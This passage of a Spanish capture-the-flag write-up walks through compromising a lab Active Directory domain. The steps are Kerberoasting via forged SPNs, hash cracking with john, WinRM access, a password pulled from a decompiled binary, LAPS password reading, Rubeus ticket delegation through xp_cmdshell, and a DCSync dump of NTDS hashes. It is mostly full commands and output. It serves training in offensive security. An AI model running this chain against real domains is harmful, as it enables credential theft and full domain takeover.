not/exist             Dr.Zaiuss  CN=WinRM,CN=Users,DC=LicorDeBellota,DC=htb       2021-03-05 15:42:09.868164  2023-07-08 20:41:24.421217             

$krb5tgs$23$*Dr.Zaiuss$LICORDEBELLOTA.HTB$licordebellota.htb/Dr.Zaiuss*$ed618fb34b6c2dac8dd51af4d22eb800$fc4bac58bb98d6a53eb0c1ac6a0a4691c1c4cc3237117dd5257f78d017a92e517c0ceee8929c1009a851f433a79b67a4c840404554fd29c3548dc263f449e5c7a417e3fe73570f8b801e0fec3e27cc55bd1e110137219f998a7e1fcb85b806a40167feacb2c9ee320f222dc30b4bc27a0b46292b1eadce05881e52b7f3aa8589d6de7a92c13acf861c05dc2d296b09930d2db1087c8d8e7c8f48ed89e3f33b8f69d454041a29a590a616bc91604b5345351b9c78ac4aee7fb8eadcc160ba66c47c109f8f19ac07e684591e7965017cbf72f631e1d44af5eb8972d57c58cbb9d842acb5d9cde99660e43d5ee5b28f3d4e05b17d654b84e3e012d463da54ad5ac92a13700742cf6ebf8c0d72c9229d824c7a833b1d87a32272588eeff95bf51d31ae69b5aee82433e3c41faaf40e2bd69f2f55f8c04eefd1319e988758431562d8e63dd22b20677eaffca3a1f02b646628144f79dc45ddd05e2bc5c96b44807abcf1f86a0939b8d8b21464b645fbd05b2e8af2d47b146eb1760547d49bd24b9cc31ef200613a99b2e58548095f9555f790b1830f1bd17a1cd34ed8ff6c1447d5b64d7445ac16c609364710ee547b3ea7441b97aaed642f4d1dbf6edbccf5268cff68acaf54257101508e3ddc4d3b1ace1a1eb676eef6fc76ac628f964568db44557fcbf8f5add3c47b097654e1ae825c1b7abc54c554dd85054d2fe5dcbc4f134001ac2c6768cfc6a9daf46d7c0df794fcbffa5eefe6d18b5825ffcab621e01bf3dafed68fe589917daf8fd3d91bd09fa80757d8d78b3bc6bc4735d6b649e5886161f2b31f01ff168b01dfd6256946959935714a74d188decf8122d8b4eafdf976fe517ef4cfd66da66bb6c550b9a9644683959a2302028148f8ed4ebda3ae3ebd795977e47dcfda021d72874317ead21dc75adc2ff69b49a3485b666fa4ac98c53cd8235153a9381a6ca3130551c5af813b40bc80b132ff1ab33918dc185a1849bd136a5f1f4c0303654828a6a2fd4de055fb00cd7f5c04aa44985bae72c8f7517a6382a640aed402a853f333a65f8f3a8744b2db92e86f5ebbecf2c28a5f546fe147621a7c02867ab4611e5fded66447fb2dea91a6629ba67227c69013af4846291f4088ebc40f9442f4a238d0a13fc6e1678bff66479ac5b3699d3ded444b580cf78ee31384e0a9817b872ad407944bcb57e864db055a14afb38c85f66f02dbbff95d7e1bcc5909184ab8e407a495f8c46654579ec50941438bb14431684d974c87a5254c9305c995291658e9fb37fba020935cc8b940518e5d65d8c8fc781ec7cc208118acd377eb7dbca3516abae70c429b5a1b72c7c81dfefc5de4d1ec17cfec56c772777127c62fd3e2c3c6b02a1f487ab127cac2ced449502763c216d5b41f36569508bdbb571289cad7f90a6169c97edd7675d1e25a0242737fa50110565e6b206e3951f97a7f697992f4ac0d871cca3e379f4d4947359c97c011b534a1311b41e73f1cfdd66a  

La contraseña no es muy robusta por lo que la crackeamos facilmente usando john

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])  
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123QWE!@#     (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Comprobamos con crackmapexec las credenciales en winrm y nos devuelve Pwn3d!

❯ proxychains -q crackmapexec winrm licordebellota.htb -u Dr.Zaiuss -p 'qwe123QWE!@#'
SMB         licordebellota.htb 5985   PIVOTAPI         [*] Windows 10.0 Build 17763 (name:PIVOTAPI) (domain:LicorDeBellota.htb)  
HTTP        licordebellota.htb 5985   PIVOTAPI         [*] http://licordebellota.htb:5985/wsman
WINRM       licordebellota.htb 5985   PIVOTAPI         [+] LicorDeBellota.htb\Dr.Zaiuss:qwe123QWE!@# (Pwn3d!)

Nos conectamos a traves del proxy con evil-winrm y conseguimos una powershell

❯ proxychains -q evil-winrm -i licordebellota.htb -u Dr.Zaiuss -p 'qwe123QWE!@#'  
PS C:\Users\Dr.Zaiuss\Documents> whoami
licordebellota\dr.zaiuss
PS C:\Users\Dr.Zaiuss\Documents>


Shell - superfume


En bloodhound veiamos que Dr.Zaiuss tiene privilegios GenericAll sobre el usuario Superfume asi que repetimos el proceso de antes para setearle el SPN

PS C:\Users\Dr.Zaiuss\Documents> Import-Module .\PowerView.ps1
PS C:\Users\Dr.Zaiuss\Documents> Set-DomainObject -Identity superfume -Set @{serviceprincipalname='not/existing'}  
PS C:\Users\Dr.Zaiuss\Documents>

Usando GetUserSPNs esta vez obtenemos tambien el hash del usuario Superfume, curiosamente la contraseña es exactamente la misma que la del usuario Dr.Zaiuss

❯ impacket-GetUserSPNs licordebellota.htb/3v4Si0N:'Gu4nCh3C4NaRi0N!23' -request
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName  Name       MemberOf                                         PasswordLastSet             LastLogon                   Delegation 
--------------------  ---------  -----------------------------------------------  --------------------------  --------------------------  ----------
not/existing          superfume  CN=Developers,CN=Users,DC=LicorDeBellota,DC=htb  2021-03-05 15:43:51.555648  <never>                                
not/exist             Dr.Zaiuss  CN=WinRM,CN=Users,DC=LicorDeBellota,DC=htb       2021-03-05 15:42:09.868164  2023-07-08 20:41:24.421217             

$krb5tgs$23$*superfume$LICORDEBELLOTA.HTB$licordebellota.htb/superfume*$5daec5bfab0f9e59f9a8483b4527bb5d$a670fb699180f459506db60e40099c9ba14585246f873216f22951ab6206ace2e6f40a7a193ba943ca0983ccc69ce1cc95e3ea82ba0bc397fd4468b900e61504d97e3f1d890ce7faaca24eedd6588ce69387e0a939ceec49d6af018327dfb31bfef653197546fb03ec2ea2f3bb658b85f54ee74625ce6b6f992ead47d6c23ebe8746de7d807328be9bed33a9db8a1027c64fe8b69a58e7a73031ba9d19a4dae900de76ac88652d1abcbfce1f25e39c128da8e273db2e648d8c0957d4ea74f383ee87919940fcf2d3f6b8b88b5ce8f9769514fd4d6867e50a65f8b52cae3cc869ec4eb257c3bab02af9ffa9df96a3f21bfb1bb989caf37dbde5ef6b79e3579e1eb4b2d36f23ca5b44203b321f556a47b66ce5c7f78ecfb3cc57b7d57565e71008b94e538b1ccc8497e8fb02a7a7ab0a612ed679ef5b5458be5df2a5889f01df1e73f59ca2eb9aefd5165ea9bd56d970a30867aec00114241d747f9b96194a952bf52d0fc85e3b863a52fec709e1fb4475aa8918515070bf734edc02fded0ec335604284a5d2efeba607eeb13d60efb5847cdb4b6cf0923b9fdf18468569c5315b7df8acf5af926203b7175bd6a8c0e155f64a1e571b0e0e9d318bad2aaa826a6ef1d1487a8ba93913f3920397f1c5096c61c99e169d7f7be3b0d9e8b81d440d61f2b30a385eae1a65b7b8ac6fd00a0399002ce47afc1d261a79793d6ff5287b9b06fce033bf426f724c5a4caefa7054087b707f1762f58572f441a84065e2b8362d58ddb33ba7418e7d6796e0d57bb6ebfd3d4cb0502f6c155563b769261b015f775ad0223cbf481b901cb22d60d1d95a53eb67654c88d2690723a981d81702619a63f2dda6c97de1b17ec6a2147d566b504a19b8a6a40bb564166ffa2a0f472bb1bd58e803187f87f28ce50d0889848053abfd9d19ce99f32a92b78e68d8d58bb184b533c1094ec44904993bdc490be300858b591a2eeae7aaa5a1761bd88bc917ea1ced3a312570505f3774ece32cbd36840127c52ccf3bfff29464c0a7c30e5a5fc707990ba0fe03c9cd644aa9f1ad23f4badb309919c49262da0e570f4ddfc1224117e284df89d6c57eea072bc33b15b5d19703178f5d67744e3b818092d46ada38d20be1e00719b82f6a89e2c3abf643d9b1a9a8352244eb293ef69714c64f678fb5752f2eecb0fb3bf2cc443a039839fec7b301a3655945fbb7d71f50ec28f1522041b31827e4cac54917057455ae4b3dccdb0edf37b842ca0c83a22542c318aafc24a56a2c81950e9f78615637f4075ef1dd6a069d8e2832f3a2d89007a3c5f70c3e8a64296b315d4486c2536f617caf4ec9420cf043343bb569cd382c783736f40ea9441384bbd1fe129c116926ac5a6e4bb310b4ca641556b6574300301afb2b444c8472e13223b33c0a3ef5ffbb3d44cad05cb3569bae94099c44a7d6280eb97a4392669ad986f2a6138cbb834c0ad471a1331824d74e6cf6b51f7b97cf9f7223faf0b8e888  
$krb5tgs$23$*Dr.Zaiuss$LICORDEBELLOTA.HTB$licordebellota.htb/Dr.Zaiuss*$ed618fb34b6c2dac8dd51af4d22eb800$fc4bac58bb98d6a53eb0c1ac6a0a4691c1c4cc3237117dd5257f78d017a92e517c0ceee8929c1009a851f433a79b67a4c840404554fd29c3548dc263f449e5c7a417e3fe73570f8b801e0fec3e27cc55bd1e110137219f998a7e1fcb85b806a40167feacb2c9ee320f222dc30b4bc27a0b46292b1eadce05881e52b7f3aa8589d6de7a92c13acf861c05dc2d296b09930d2db1087c8d8e7c8f48ed89e3f33b8f69d454041a29a590a616bc91604b5345351b9c78ac4aee7fb8eadcc160ba66c47c109f8f19ac07e684591e7965017cbf72f631e1d44af5eb8972d57c58cbb9d842acb5d9cde99660e43d5ee5b28f3d4e05b17d654b84e3e012d463da54ad5ac92a13700742cf6ebf8c0d72c9229d824c7a833b1d87a32272588eeff95bf51d31ae69b5aee82433e3c41faaf40e2bd69f2f55f8c04eefd1319e988758431562d8e63dd22b20677eaffca3a1f02b646628144f79dc45ddd05e2bc5c96b44807abcf1f86a0939b8d8b21464b645fbd05b2e8af2d47b146eb1760547d49bd24b9cc31ef200613a99b2e58548095f9555f790b1830f1bd17a1cd34ed8ff6c1447d5b64d7445ac16c609364710ee547b3ea7441b97aaed642f4d1dbf6edbccf5268cff68acaf54257101508e3ddc4d3b1ace1a1eb676eef6fc76ac628f964568db44557fcbf8f5add3c47b097654e1ae825c1b7abc54c554dd85054d2fe5dcbc4f134001ac2c6768cfc6a9daf46d7c0df794fcbffa5eefe6d18b5825ffcab621e01bf3dafed68fe589917daf8fd3d91bd09fa80757d8d78b3bc6bc4735d6b649e5886161f2b31f01ff168b01dfd6256946959935714a74d188decf8122d8b4eafdf976fe517ef4cfd66da66bb6c550b9a9644683959a2302028148f8ed4ebda3ae3ebd795977e47dcfda021d72874317ead21dc75adc2ff69b49a3485b666fa4ac98c53cd8235153a9381a6ca3130551c5af813b40bc80b132ff1ab33918dc185a1849bd136a5f1f4c0303654828a6a2fd4de055fb00cd7f5c04aa44985bae72c8f7517a6382a640aed402a853f333a65f8f3a8744b2db92e86f5ebbecf2c28a5f546fe147621a7c02867ab4611e5fded66447fb2dea91a6629ba67227c69013af4846291f4088ebc40f9442f4a238d0a13fc6e1678bff66479ac5b3699d3ded444b580cf78ee31384e0a9817b872ad407944bcb57e864db055a14afb38c85f66f02dbbff95d7e1bcc5909184ab8e407a495f8c46654579ec50941438bb14431684d974c87a5254c9305c995291658e9fb37fba020935cc8b940518e5d65d8c8fc781ec7cc208118acd377eb7dbca3516abae70c429b5a1b72c7c81dfefc5de4d1ec17cfec56c772777127c62fd3e2c3c6b02a1f487ab127cac2ced449502763c216d5b41f36569508bdbb571289cad7f90a6169c97edd7675d1e25a0242737fa50110565e6b206e3951f97a7f697992f4ac0d871cca3e379f4d4947359c97c011b534a1311b41e73f1cfdd66a  

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])  
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123QWE!@#     (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Nuevamente comprobamos con crackmapexec y devuelve Pwn3d!, asi que podemos conectarnos usando evil-winrm como el usuario Superfume

❯ proxychains -q crackmapexec winrm licordebellota.htb -u superfume -p 'qwe123QWE!@#'
SMB         licordebellota.htb 5985   PIVOTAPI         [*] Windows 10.0 Build 17763 (name:PIVOTAPI) (domain:LicorDeBellota.htb)  
HTTP        licordebellota.htb 5985   PIVOTAPI         [*] http://licordebellota.htb:5985/wsman
WINRM       licordebellota.htb 5985   PIVOTAPI         [+] LicorDeBellota.htb\superfume:qwe123QWE!@# (Pwn3d!)

❯ proxychains -q evil-winrm -i licordebellota.htb -u superfume -p 'qwe123QWE!@#'  
PS C:\Users\superfume\Documents> whoami
licordebellota\superfume
PS C:\Users\superfume\Documents>


Shell - jari


En el directorio C:\ nos encontramos con un directorio Developers donde dentro hay otros directorios con los nombres de los usuarios Jari y Superfume

PS C:\> dir

    Directorio: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         8/8/2020   7:23 PM                Developers
d-----         8/8/2020  12:53 PM                inetpub
d-----         8/8/2020  10:48 PM                PerfLogs
d-r---        2/19/2021   1:42 PM                Program Files
d-----         8/9/2020   5:06 PM                Program Files (x86)  
d-r---         8/8/2020   7:46 PM                Users
d-----        4/29/2021   5:31 PM                Windows

PS C:\> cd Developers
PS C:\Developers> dir

    Directorio: C:\Developers

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         8/8/2020   7:26 PM                Jari
d-----         8/8/2020   7:23 PM                Superfume

PS C:\Developers>

Dentro de Superfume no encontramos nada interesante pero en Jari existen 2 archivos, el primero es un programa en C# y un compilado con extension exe

PS C:\Developers> cd Jari
PS C:\Developers\Jari> dir

    Directorio: C:\Developers\Jari

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         8/8/2020   7:26 PM           3676 program.cs
-a----         8/8/2020   7:18 PM           7168 restart-mssql.exe

PS C:\Developers\Jari> download program.cs program.cs

Info: Downloading C:\Developers\Jari\program.cs to program.cs

Info: Download successful!

PS C:\Developers\Jari> download restart-mssql.exe restart-mssql.exe

Info: Downloading C:\Developers\Jari\restart-mssql.exe to restart-mssql.exe  

Info: Download successful!

PS C:\Developers\Jari>

En el program.cs la parte que nos podria interesar que es password es igual a nada

string password = "";
for (int x = 0; x < password.Length; x++)  
{
   ssPwd.AppendChar(password[x]);
}
password = "";

Analizando un poco el codigo decompilado del exe por dnspy podemos ver que define las variables bytes y data, despues le pasa estas variables como argumento a Decrypt almacenandolo en array, podemos hacer un breakpoint justo despues para ver los valores, corremos el programa y vemos los valores de array

Una forma facil de ver la contraseña es en la memoria ver su representación tanto en hexadecimal como en ascii, a la derecha nos encontramos con ella en texto claro

O con python3 declarar el valor de array y con chr convertirlo a ascii y asi verla

❯ python3 -q
>>> array = [67, 111, 115, 64, 67, 104, 117, 110, 103, 64, 33, 82, 80, 71]  
>>> value = ""
>>> for num in array:
...     value += chr(num)
...
>>> print(value)
Cos@Chung@!RPG
>>>

El nombre del directorio era Jari asi que con crackmapexec comprobamos esa contraseña hacia winrm y nos devuelve Pwn3d! que nos dice que son validas

❯ proxychains -q crackmapexec winrm licordebellota.htb -u Jari -p 'Cos@Chung@!RPG'
SMB         licordebellota.htb 5985   PIVOTAPI         [*] Windows 10.0 Build 17763 (name:PIVOTAPI) (domain:LicorDeBellota.htb)  
HTTP        licordebellota.htb 5985   PIVOTAPI         [*] http://licordebellota.htb:5985/wsman
WINRM       licordebellota.htb 5985   PIVOTAPI         [+] LicorDeBellota.htb\Jari:Cos@Chung@!RPG (Pwn3d!)

Nos conectamos usando evil-winrm y ganamos una powershell como el usuario Jari

❯ proxychains -q evil-winrm -i licordebellota.htb -u Jari -p 'Cos@Chung@!RPG'  
PS C:\Users\jari\Documents> whoami
licordebellota\jari
PS C:\Users\jari\Documents>


Shell - Administrator


Volviendo a bloodhound a buscar posibles rutas esta vez partiendo de Jari, encontramos que este tiene privilegios ForceChangePassword sobre Gibdeon que es parte del grupo Account Operators que tiene privilegios GenericAll sobre el grupo Laps Read grupo que tiene ReadLapsPassword sobre el equipo PIVOTAPI

Iniciemos aprovechando el privilegio para cambiar la contraseña al usuario gibdeon

❯ net rpc password gibdeon password123# -U 'licordebellota.htb/Jari%Cos@Chung@!RPG' -S pivotapi.licordebellota.htb  

Ahora que tenemos privilegio GenericAll sobre el grupo Laps Read definimos las credenciales del usuario Gibdeon y agregamos al usuario Jari al grupo Laps Read

PS C:\Users\jari\Documents> Import-Module .\PowerView.ps1
PS C:\Users\jari\Documents> $SecPassword = ConvertTo-SecureString 'password123#' -AsPlainText -Force
PS C:\Users\jari\Documents> $Cred = New-Object System.Management.Automation.PSCredential('licordebellota.htb\gibdeon', $SecPassword)  
PS C:\Users\jari\Documents> Add-DomainGroupMember -Identity 'Laps Read' -Members 'Jari' -Credential $Cred
PS C:\Users\jari\Documents>

Si ahora revisamos los grupos a los que pertenece Jari podemos ver Laps Read

PS C:\Users\jari\Documents> Get-ADPrincipalGroupMembership Jari | Select Name  

Name
----
Usuarios del dominio
Usuarios de administración remota
LAPS READ
WinRM
Developers

PS C:\Users\jari\Documents>

Finalmente podemos leer la propiedad ms-mcs-AdmPwd del dominio y el output que esto nos muestra la contraseña del usuario Administrador en texto plano

PS C:\Users\jari\Documents> Get-DomainObject PIVOTAPI -Properties 'ms-mcs-AdmPwd'  

ms-mcs-admpwd
-------------
q81I17beCaYbjW7n5rLe

PS C:\Users\jari\Documents>

Con crackmapexec comprobamos la contraseña con Administrator, devuelve Pwn3d!

❯ crackmapexec smb licordebellota.htb -u Administrador -p q81I17beCaYbjW7n5rLe
SMB         licordebellota.htb 445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  
SMB         licordebellota.htb 445    PIVOTAPI         [+] LicorDeBellota.htb\Administrador:q81I17beCaYbjW7n5rLe (Pwn3d!)

Podemos simplemente conectarnos con evil-winrm para obtener una powershell, ahora buscando la flag final la podemos ver en el escritorio del usuario cybervaca

❯ proxychains -q evil-winrm -i licordebellota.htb -u Administrador -p q81I17beCaYbjW7n5rLe  
PS C:\Users\Administrador\Documents> whoami
licordebellota\administrador
PS C:\Users\Administrador\Documents> dir C:\Users -recurse root.txt

    Directorio: C:\Users\cybervaca\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         7/8/2023  11:19 PM             34 root.txt

PS C:\Users\Administrador\Documents> dir C:\Users -recurse root.txt | type  
d9a**************************ad7
PS C:\Users\Administrador\Documents>


Extra 1 - Administrator


Al usar xp_cmdshell en mssql ejecutabamos comandos como cuenta de servicio

❯ impacket-mssqlclient licordebellota.htb/sa:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL> xp_cmdshell whoami

output
--------------------------------------------------------------------------  

nt service\mssql$sqlexpress

SQL>

Aprovechando el contexto de esta cuenta podemos subir y usar Rubeus.exe para obtener un TGT como el equipo PIVOTAPI mediante un Constrained Delegation

SQL> xp_cmdshell C:\ProgramData\Rubeus.exe tgtdeleg /nowrap

output                                                                             
--------------------------------------------------------------------------------   

   ______        _                                                                 
  (_____ \      | |                                                                
   _____) )_   _| |__  _____ _   _  ___                                            
  |  __  /| | | |  _ \| ___ | | | |/___)                                           
  | |  \ \| |_| | |_) ) ____| |_| |___ |                                           
  |_|   |_|____/|____/|_____)____/(___/                                            

  v2.2.3                                                                           

[*] Action: Request Fake Delegation TGT (current user)                             

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'              
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/PivotAPI.LicorDeBellota.htb'   
[+] Kerberos GSS-API initialization success!                                       
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.   
[*] Found the AP-REQ delegation ticket in the GSS-API output.                      
[*] Authenticator etype: aes256_cts_hmac_sha1                                      
[*] Extracted the service ticket session key from the ticket cache: PahqDdIJlWa/OC7QHApnVHKTSYEvORe5Z91QZvBFG0Y=   
[+] Successfully decrypted the authenticator                                       
[*] base64(ticket.kirbi):                                                          

      doIFeDCCBXSgAwIBBaEDAgEWooIEajCCBGZhggRiMIIEXqADAgEFoRQbEkxJQ09SREVCRUxMT1RBLkhUQqInMCWgAwIBAqEeMBwbBmtyYnRndBsSTElDT1JERUJFTExPVEEuSFRCo4IEFjCCBBKgAwIBEqEDAgECooIEBASCBADc57nRcGoiUlbrVa9E/ZF7Nt+5MzGaDZyrGjHhX9+VHPoLTpPSWp5+MTI3lpUnnRKblJ4Ol7xsKCl3MhcglwZN3Ep37JHbZTwM42fQWGjmQieh63VFDHMfd0k1pn6xv+MUBQt22atbuGzUDHm3kmsAi+McfOntFWP9k3j/GLsu8letpoPMKyPNz7gP6n1noi8S5CQJ7JThyj4xVxJywXmXvNSBPkZCqQzXG6Ibs9LCxJxOpBkQ3tNq+X4vxdU2d9LwmPPWLgGsJEl78PzqxG36usvNsd8prm+sknwjgYts/KSvHfshr1fX+YQv5FjfMNsqqR02X4yzaz9as8QMagm3o27fJxs7yg6owY7rICK3x9OsQg0SsAbTRzLi72ZiRvCMaLausMgybNln7TqGY/tN1Ujr1DboWuZWhwFT4DdhOr7swLjoydSOr8AqRt18dNymgjtWlcOTLtERx4u/efI/17BmTBcDUYnECFtrYCa9AQUAsBBOHm91Murzlm6lL/Br4361BeJgMBfn+KeNXFKL84PCc0heDc3mDwHvxO3Wy9M4ZTENc7WSOPBaVG1emQrVONF61Ns8XUdLFYLy7lDWQzIvOX/roXuL3/HXaRmVruZ8YXrAWDyi07M7SHxnwSSXzTL+asm7CTC+aCJS2MhMWLLMKH8ZIpn2Gy3vFl4QkSOqtxzYnX9roLx7tAzyu833OiY8muODQIs6E+ae2hJHkrHZx48GrsBStffHZx3wQbWLLc5jSnUw5O3iSEiX95umIeTW30841JN2NbpNa2GT6ePmOXpdyN0eXcdz/T7TG6z9eSUWWHcYKWOjjc/THxyF9PC261heOhxsrGaU885eWyjFogPJwdQ+Xb0y8EiwnYmi3BywDHhl4ZFFPv0QA9LAVU8NfWVM9T1+ZAlJiuM//JJr4O1Vz9ZlRRAb8KDmO2x+7BlnXrsta8ChpdxUifmUAHZCFXVuQ/2tdvasF38BpF5Ytfsb4E+yepv2ZmVMViaMQGylDRNYy50Kis7f7LxIShhcYE+o/IsmmD1VRDpZiWsOlstVb6YN8ePih4RL8uwGrq+Dt2SJHRPtXST5zAnPKR2JeuiOOfepofInjqmasu5henn731vqGDIz5QD0uYRsg3Rvwqo45MwKsF9EJGCQbShH3QUwMbTTF4iqy4SctlirytT/CoIb1besnLwnXxJRk79OrHVIeS382/RP9/fYdSq3ZbEFgyDCyYdirerVZ7LB0mmEWfQ2z2vQhnyT5AYGdhbDAAHXdlN1Zqv/JFN1DrX3WD2pLrySzxRKuDLyxFcbHadVQwg/FuS1GTzANFLNegDbaA4EQkF18yUjqUdOVIZF2ix9YMHzeYlhzmHFo4H5MIH2oAMCAQCige4Eget9gegwgeWggeIwgd8wgdygKzApoAMCARKhIgQgydFDhzUIwnyst1v+v4+db/5KHS+ut4fU9tjm8eGA6UOhFBsSTElDT1JERUJFTExPVEEuSFRCohYwFKADAgEBoQ0wCxsJUElWT1RBUEkkowcDBQBgoQAApREYDzIwMjMwNzA4MjMyMDEwWqYRGA8yMDIzMDcwOTA5MjAxMFqnERgPMjAyMzA3MTUyMzIwMTBaqBQbEkxJQ09SREVCRUxMT1RBLkhUQqknMCWgAwIBAqEeMBwbBmtyYnRndBsSTElDT1JERUJFTExPVEEuSFRC  

SQL>

Decodeamos este base64 para obtener el ticket.kirbi, despues con ticketConverter lo convertimos a ccache y lo exportamos en la variable

❯ base64 -d kirbi.b64 > ticket.kirbi

❯ impacket-ticketConverter ticket.kirbi PIVOTAPI.ccache
Impacket v0.11.0 - Copyright 2023 Fortra  

[*] converting kirbi to ccache...
[+] done

❯ export KRB5CCNAME=PIVOTAPI.ccache

Comprobamos la autenticacion con el ticket con crackmapexec y al equipo tener privilegios DCSync sobre el dominio podemos dumpear los hashes del ntds.dit

❯ crackmapexec smb licordebellota.htb -k --use-kcache
SMB         licordebellota.htb 445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  
SMB         licordebellota.htb 445    PIVOTAPI         [+] LicorDeBellota.htb\ from ccache

❯ crackmapexec smb licordebellota.htb -k --use-kcache --ntds drsuapi
SMB         licordebellota.htb 445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  
SMB         licordebellota.htb 445    PIVOTAPI         [+] LicorDeBellota.htb\ from ccache 
SMB         licordebellota.htb 445    PIVOTAPI         [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         licordebellota.htb 445    PIVOTAPI         [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         licordebellota.htb 445    PIVOTAPI         Administrador:500:aad3b435b51404eeaad3b435b51404ee:105394e5d4f382f74c50871445a3ab8d:::
SMB         licordebellota.htb 445    PIVOTAPI         Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         licordebellota.htb 445    PIVOTAPI         krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3fc8c66f79c15020a2c2c7f1cffd8049:::
SMB         licordebellota.htb 445    PIVOTAPI         cybervaca:1000:aad3b435b51404eeaad3b435b51404ee:c33f387f6f7ab01aa1a8a29039d9feef:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\3v4Si0N:1107:aad3b435b51404eeaad3b435b51404ee:bcc9e3e5704ae1c7a91cbef273ff23e5:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Kaorz:1109:aad3b435b51404eeaad3b435b51404ee:9c26ac73552428b4b624e7fbcc720b85:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\jari:1116:aad3b435b51404eeaad3b435b51404ee:139fcd90ef171f43ef5b48025f773848:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\superfume:1117:aad3b435b51404eeaad3b435b51404ee:c01b3d82fc3a76d64cf96d00ca94a01e:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Dr.Zaiuss:1118:aad3b435b51404eeaad3b435b51404ee:aaf845085d7e3a44fd5898b464c8828a:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\svc_mssql:1124:aad3b435b51404eeaad3b435b51404ee:1d6560177f8b7f90b7d24135c79171d8:::
SMB         licordebellota.htb 445    PIVOTAPI         sshd:1127:aad3b435b51404eeaad3b435b51404ee:45550414512a5121c51156ab5fec3826:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\gibdeon:1128:aad3b435b51404eeaad3b435b51404ee:0b772ce29eaab6e20a94b4a580ff1510:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\lothbrok:1129:aad3b435b51404eeaad3b435b51404ee:30ae5986b063af4ba111092903d2bf6f:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\0xVIC:1131:aad3b435b51404eeaad3b435b51404ee:d1e65cec96ac1620d7877503b8cb4ca0:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\StooormQ:1132:aad3b435b51404eeaad3b435b51404ee:091880b0a37cc92c845a8c1d80cbfb23:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\manulqwerty:1133:aad3b435b51404eeaad3b435b51404ee:99bc0e7f7d71c34264993592235174f0:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\borjmz:1134:aad3b435b51404eeaad3b435b51404ee:6d6eddc7dac47bae01aa0f6f29e1f1fe:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\v1s0r:1135:aad3b435b51404eeaad3b435b51404ee:a1f29e21f35c9dc166f7e91df5f29915:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\FrankyTech:1136:aad3b435b51404eeaad3b435b51404ee:59997b2285ab1f0d963899977710a424:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Gh0spp7:1137:aad3b435b51404eeaad3b435b51404ee:5122834c2bdf0b4a057cae442579934b:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\socketz:1138:aad3b435b51404eeaad3b435b51404ee:83f925c449323b8730c4f10f67ed7b74:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Fiiti:1139:aad3b435b51404eeaad3b435b51404ee:b75d0d5904a7ca04ba8a5dec8620f05f:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\OscarAkaElvis:1140:aad3b435b51404eeaad3b435b51404ee:f4f67ce9289c0a553bff7a9202b1134a:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Jharvar:1141:aad3b435b51404eeaad3b435b51404ee:9e8c4b8f296632bed56ba990d7d514de:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\aDoN90:1142:aad3b435b51404eeaad3b435b51404ee:1947e3281d6991918b445f8416181a86:::
